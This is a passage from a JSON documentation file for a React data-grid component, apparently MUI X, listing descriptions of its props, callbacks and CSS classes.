\"Additional details for this callback.\"\n      }\n    },\n    \"onColumnHeaderOver\": {\n      \"description\": \"Callback fired when a mouseover event comes from a column header element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnHeaderParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnOrderChange\": {\n      \"description\": \"Callback fired when a column is reordered.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnOrderChangeParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnResize\": {\n      \"description\": \"Callback fired while a column is being resized.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnResizeParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnVisibilityModelChange\": {\n      \"description\": \"Callback fired when the column visibility model changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"model\": \"The new model.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onColumnWidthChange\": {\n      \"description\": \"Callback fired when the width of a column is changed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridColumnResizeParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onDetailPanelExpandedRowIdsChange\": {\n      \"description\": \"Callback fired when the detail panel of a row is opened or closed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"ids\": \"The ids of the rows which have the detail panel open.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onExcelExportStateChange\": {\n      \"description\": \"Callback fired when the state of the Excel export changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": { \"inProgress\": \"Indicates if the task is in progress.\" }\n    },\n    \"onFetchRows\": {\n      \"description\": \"Callback fired when rowCount is set and the next batch of virtualized rows is rendered.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridFetchRowsParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onFilterModelChange\": {\n      \"description\": \"Callback fired when the Filter model changes before the filters are applied.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"model\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-filter-model/\\\">GridFilterModel</a>.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onMenuClose\": {\n      \"description\": \"Callback fired when the menu is closed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridMenuParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onMenuOpen\": {\n      \"description\": \"Callback fired when the menu is opened.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridMenuParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onPaginationModelChange\": {\n      \"description\": \"Callback fired when the pagination model has changed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"model\": \"Updated pagination model.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onPinnedColumnsChange\": {\n      \"description\": \"Callback fired when the pinned columns have changed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"pinnedColumns\": \"The changed pinned columns.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onPreferencePanelClose\": {\n      \"description\": \"Callback fired when the preferences panel is closed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridPreferencePanelParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onPreferencePanelOpen\": {\n      \"description\": \"Callback fired when the preferences panel is opened.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridPreferencePanelParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onProcessRowUpdateError\": {\n      \"description\": \"Callback called when <code>processRowUpdate</code> throws an error or rejects.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": { \"error\": \"The error thrown.\" }\n    },\n    \"onResize\": {\n      \"description\": \"Callback fired when the grid is resized.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"containerSize\": \"With all properties from ElementSize.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowClick\": {\n      \"description\": \"Callback fired when a row is clicked. Not called if the target clicked is an interactive element added by the built-in columns.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-params/\\\">GridRowParams</a>.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowDoubleClick\": {\n      \"description\": \"Callback fired when a double click event comes from a row container element.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from RowParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowEditCommit\": {\n      \"description\": \"Callback fired when the row changes are committed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"id\": \"The row id.\",\n        \"event\": \"The event that caused this prop to be called.\"\n      }\n    },\n    \"onRowEditStart\": {\n      \"description\": \"Callback fired when the row turns to edit mode.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-params/\\\">GridRowParams</a>.\",\n        \"event\": \"The event that caused this prop to be called.\"\n      }\n    },\n    \"onRowEditStop\": {\n      \"description\": \"Callback fired when the row turns to view mode.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from <a href=\\\"/x/api/data-grid/grid-row-params/\\\">GridRowParams</a>.\",\n        \"event\": \"The event that caused this prop to be called.\"\n      }\n    },\n    \"onRowGroupingModelChange\": {\n      \"description\": \"Callback fired when the row grouping model changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"model\": \"Columns used as grouping criteria.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowModesModelChange\": {\n      \"description\": \"Callback fired when the <code>rowModesModel</code> prop changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"rowModesModel\": \"Object containing which rows are in &quot;edit&quot; mode.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowOrderChange\": {\n      \"description\": \"Callback fired when a row is being reordered.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridRowOrderChangeParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowSelectionModelChange\": {\n      \"description\": \"Callback fired when the selection state of one or multiple rows changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"rowSelectionModel\": \"With all the row ids GridSelectionModel.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onRowsScrollEnd\": {\n      \"description\": \"Callback fired when scrolling to the bottom of the grid viewport.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"params\": \"With all properties from GridRowScrollEndParams.\",\n        \"event\": \"The event object.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"onSortModelChange\": {\n      \"description\": \"Callback fired when the sort model changes before a column is sorted.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"model\": \"With all properties from GridSortModel.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"pageSizeOptions\": {\n      \"description\": \"Select the pageSize dynamically using the component UI.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"pagination\": {\n      \"description\": \"If <code>true</code>, pagination is enabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"paginationMode\": {\n      \"description\": \"Pagination can be processed on the server or client-side. Set it to &#39;client&#39; if you would like to handle the pagination on the client-side. Set it to &#39;server&#39; if you would like to handle the pagination on the server-side.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"paginationModel\": {\n      \"description\": \"The pagination model of type GridPaginationModel which refers to current <code>page</code> and <code>pageSize</code>.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"pinnedColumns\": {\n      \"description\": \"The column fields to display pinned to left or right.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"pinnedRows\": {\n      \"description\": \"Rows data to pin on top or bottom.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"processRowUpdate\": {\n      \"description\": \"Callback called before updating a row with new values in the row and cell editing.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"newRow\": \"Row object with the new values.\",\n        \"oldRow\": \"Row object with the old values.\",\n        \"Promise<R> | R\": \"The final values to update the row.\"\n      }\n    },\n    \"rowBuffer\": {\n      \"description\": \"Number of extra rows to be rendered before/after the visible slice.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowCount\": {\n      \"description\": \"Set the total number of rows, if it is different from the length of the value <code>rows</code> prop. If some rows have children (for instance in the tree data), this number represents the amount of top level rows.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowGroupingColumnMode\": {\n      \"description\": \"If <code>single</code>, all the columns that are grouped are represented in the same grid column. If <code>multiple</code>, each column that is grouped is represented in its own grid column.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowGroupingModel\": {\n      \"description\": \"Set the row grouping model of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowHeight\": {\n      \"description\": \"Sets the height in pixel of a row in the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowModesModel\": {\n      \"description\": \"Controls the modes of the rows.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowReordering\": {\n      \"description\": \"If <code>true</code>, the reordering of rows is enabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rows\": {\n      \"description\": \"Set of rows of type GridRowsProp.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowSelection\": {\n      \"description\": \"If <code>false</code>, the row selection mode is disabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowSelectionModel\": {\n      \"description\": \"Sets the row selection model of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowsLoadingMode\": {\n      \"description\": \"Loading rows can be processed on the server or client-side. Set it to &#39;client&#39; if you would like enable infnite loading. Set it to &#39;server&#39; if you would like to enable lazy loading. * @default &quot;client&quot;\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowSpacingType\": {\n      \"description\": \"Sets the type of space between rows added by <code>getRowSpacing</code>.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"rowThreshold\": {\n      \"description\": \"Number of rows from the <code>rowBuffer</code> that can be visible before a new slice is rendered.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"scrollbarSize\": {\n      \"description\": \"Override the height/width of the grid inner scrollbar.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"scrollEndThreshold\": {\n      \"description\": \"Set the area in <code>px</code> at the bottom of the grid viewport where onRowsScrollEnd is called.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"showCellVerticalBorder\": {\n      \"description\": \"If <code>true</code>, the vertical borders of the cells are displayed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"showColumnVerticalBorder\": {\n      \"description\": \"If <code>true</code>, the right border of the column headers are displayed.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"slotProps\": {\n      \"description\": \"Overridable components props dynamically passed to the component at rendering.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"slots\": { \"description\": \"Overridable components.\", \"deprecated\": \"\", \"typeDescriptions\": {} },\n    \"sortingMode\": {\n      \"description\": \"Sorting can be processed on the server or client-side. Set it to &#39;client&#39; if you would like to handle sorting on the client-side. Set it to &#39;server&#39; if you would like to handle sorting on the server-side.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"sortingOrder\": {\n      \"description\": \"The order of the sorting sequence.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"sortModel\": {\n      \"description\": \"Set the sort model of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"throttleRowsMs\": {\n      \"description\": \"If positive, the Grid will throttle updates coming from <code>apiRef.current.updateRows</code> and <code>apiRef.current.setRows</code>. It can be useful if you have a high update rate but do not want to do heavy work like filtering / sorting or rendering on each  individual update.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"treeData\": {\n      \"description\": \"If <code>true</code>, the rows will be gathered in a tree structure according to the <code>getTreeDataPath</code> prop.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"unstable_cellSelection\": {\n      \"description\": \"If <code>true</code>, the cell selection mode is enabled.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"unstable_cellSelectionModel\": {\n      \"description\": \"Set the cell selection model of the grid.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"unstable_headerFilters\": {\n      \"description\": \"If <code>true</code>, enables the data grid filtering on header feature.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"unstable_ignoreValueFormatterDuringExport\": {\n      \"description\": \"If <code>true</code>, the grid will not use <code>valueFormatter</code> when exporting to CSV or copying to clipboard. If an object is provided, you can choose to ignore the <code>valueFormatter</code> for CSV export or clipboard export.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {}\n    },\n    \"unstable_onCellSelectionModelChange\": {\n      \"description\": \"Callback fired when the selection state of one or multiple cells changes.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": {\n        \"cellSelectionModel\": \"Object in the shape of GridCellSelectionModel containing the selected cells.\",\n        \"details\": \"Additional details for this callback.\"\n      }\n    },\n    \"unstable_splitClipboardPastedText\": {\n      \"description\": \"The function is used to split the pasted text into rows and cells.\",\n      \"deprecated\": \"\",\n      \"typeDescriptions\": { \"text\": \"The text pasted from the clipboard.\" }\n    }\n  },\n  \"classDescriptions\": {\n    \"actionsCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the root element of the cell with type=\\\"actions\\\"\"\n    },\n    \"aggregationColumnHeader\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element of the column header\",\n      \"conditions\": \"aggregated\"\n    },\n    \"aggregationColumnHeader--alignLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element of the header\",\n      \"conditions\": \"aggregation if <code>headerAlign=\\\"left\\\"</code>\"\n    },\n    \"aggregationColumnHeader--alignCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element of the header\",\n      \"conditions\": \"aggregation if <code>headerAlign=\\\"center\\\"</code>\"\n    },\n    \"aggregationColumnHeader--alignRight\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element of the header\",\n      \"conditions\": \"aggregation if <code>headerAlign=\\\"right\\\"</code>\"\n    },\n    \"aggregationColumnHeaderLabel\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the aggregation label in the column header\",\n      \"conditions\": \"aggregated\"\n    },\n    \"autoHeight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>autoHeight={true}</code>\"\n    },\n    \"booleanCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the icon of the boolean cell\"\n    },\n    \"cell--editable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"the cell is editable\"\n    },\n    \"cell--editing\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"the cell is in edit mode\"\n    },\n    \"cell--textCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"<code>align=\\\"center\\\"</code>\"\n    },\n    \"cell--textLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"<code>align=\\\"left\\\"</code>\"\n    },\n    \"cell--textRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"<code>align=\\\"right\\\"</code>\"\n    },\n    \"cell--withRenderer\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"the cell has a custom renderer\"\n    },\n    \"cell--rangeTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"it is at the top edge of a cell selection range\"\n    },\n    \"cell--rangeBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"it is at the bottom edge of a cell selection range\"\n    },\n    \"cell--rangeLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"it is at the left edge of a cell selection range\"\n    },\n    \"cell--rangeRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the cell element\",\n      \"conditions\": \"it is at the right edge of a cell selection range\"\n    },\n    \"cell\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the cell element\" },\n    \"cellContent\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the element that wraps the cell content\"\n    },\n    \"cellCheckbox\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the cell checkbox element\"\n    },\n    \"cellSkeleton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the skeleton cell element\"\n    },\n    \"checkboxInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the selection checkbox element\"\n    },\n    \"columnHeader--alignCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"<code>headerAlign=\\\"center\\\"</code>\"\n    },\n    \"columnHeader--alignLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"<code>headerAlign=\\\"left\\\"</code>\"\n    },\n    \"columnHeader--alignRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"<code>headerAlign=\\\"right\\\"</code>\"\n    },\n    \"columnHeader--dragging\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the floating column header element\",\n      \"conditions\": \"it is dragged\"\n    },\n    \"columnHeader--moving\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"it is being dragged\"\n    },\n    \"columnHeader--numeric\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"the type of the column is <code>number</code>\"\n    },\n    \"columnHeader--sortable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"the column is sortable\"\n    },\n    \"columnHeader--sorted\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"the column is sorted\"\n    },\n    \"columnHeader--filtered\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header\",\n      \"conditions\": \"the column has a filter applied to it\"\n    },\n    \"columnHeader\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header element\"\n    },\n    \"columnGroupHeader\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column group header element\"\n    },\n    \"columnHeaderCheckbox\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the header checkbox cell element\"\n    },\n    \"columnHeaderDraggableContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header's draggable container element\"\n    },\n    \"rowReorderCellPlaceholder\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the row's draggable placeholder element inside the special row reorder cell\"\n    },\n    \"columnHeaderDropZone\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column headers wrapper\",\n      \"conditions\": \"a column is being dragged\"\n    },\n    \"columnHeaderTitle\": { \"description\": \"Styles applied to the column header's title element;\" },\n    \"columnHeaderTitleContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header's title container element\"\n    },\n    \"columnHeaderTitleContainerContent\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header's title excepted buttons\"\n    },\n    \"columnHeader--filledGroup\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column group header cell\",\n      \"conditions\": \"not empty\"\n    },\n    \"columnHeader--emptyGroup\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the empty column group header cell\"\n    },\n    \"columnHeader--showColumnBorder\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the column group header cell\",\n      \"conditions\": \"show column border\"\n    },\n    \"columnHeaders\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column headers\"\n    },\n    \"columnHeadersInner\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column headers's inner element\"\n    },\n    \"columnHeadersInner--scrollable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column headers's inner element\",\n      \"conditions\": \"there is a horizontal scrollbar\"\n    },\n    \"columnSeparator--resizable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header separator\",\n      \"conditions\": \"the column is resizable\"\n    },\n    \"columnSeparator--resizing\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header separator\",\n      \"conditions\": \"the column is being resized\"\n    },\n    \"columnSeparator--sideLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header separator\",\n      \"conditions\": \"the side is \\\"left\\\"\"\n    },\n    \"columnSeparator--sideRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the column header separator\",\n      \"conditions\": \"the side is \\\"right\\\"\"\n    },\n    \"columnSeparator\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header separator element\"\n    },\n    \"columnsPanel\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the columns panel element\"\n    },\n    \"columnsPanelRow\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the columns panel row element\"\n    },\n    \"detailPanel\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the detail panel element\"\n    },\n    \"detailPanels\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the detail panels wrapper element\"\n    },\n    \"detailPanelToggleCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the detail panel toggle cell element\"\n    },\n    \"detailPanelToggleCell--expanded\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the detail panel toggle cell element\",\n      \"conditions\": \"expanded\"\n    },\n    \"footerCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the root element of the cell inside a footer row\"\n    },\n    \"panel\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the panel element\" },\n    \"panelHeader\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the panel header element\"\n    },\n    \"panelWrapper\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the panel wrapper element\"\n    },\n    \"panelContent\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the panel content element\"\n    },\n    \"panelFooter\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the panel footer element\"\n    },\n    \"paper\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the paper element\" },\n    \"editBooleanCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"root of the boolean edit component\"\n    },\n    \"filterForm\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the root of the filter form component\"\n    },\n    \"filterFormDeleteIcon\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the delete icon of the filter form component\"\n    },\n    \"filterFormLogicOperatorInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the link operator input of the filter form component\"\n    },\n    \"filterFormColumnInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column input of the filter form component\"\n    },\n    \"filterFormOperatorInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the operator input of the filter form component\"\n    },\n    \"filterFormValueInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the value input of the filter form component\"\n    },\n    \"editInputCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the root of the input component\"\n    },\n    \"filterIcon\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the filter icon element\"\n    },\n    \"footerContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the footer container element\"\n    },\n    \"iconButtonContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header icon's container\"\n    },\n    \"iconSeparator\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header separator icon element\"\n    },\n    \"headerFilterRow\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the column header filter row\"\n    },\n    \"main\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the main container element\"\n    },\n    \"menu\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the menu element\" },\n    \"menuIcon\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the menu icon element\"\n    },\n    \"menuIconButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the menu icon button element\"\n    },\n    \"menuOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the menu icon element\",\n      \"conditions\": \"the menu is open\"\n    },\n    \"menuList\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the menu list element\"\n    },\n    \"overlayWrapper\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the overlay wrapper element\"\n    },\n    \"overlayWrapperInner\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the overlay wrapper inner element\"\n    },\n    \"overlay\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the overlay element\"\n    },\n    \"virtualScroller\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the virtualization container\"\n    },\n    \"virtualScrollerContent\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the virtualization content\"\n    },\n    \"virtualScrollerContent--overflowed\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      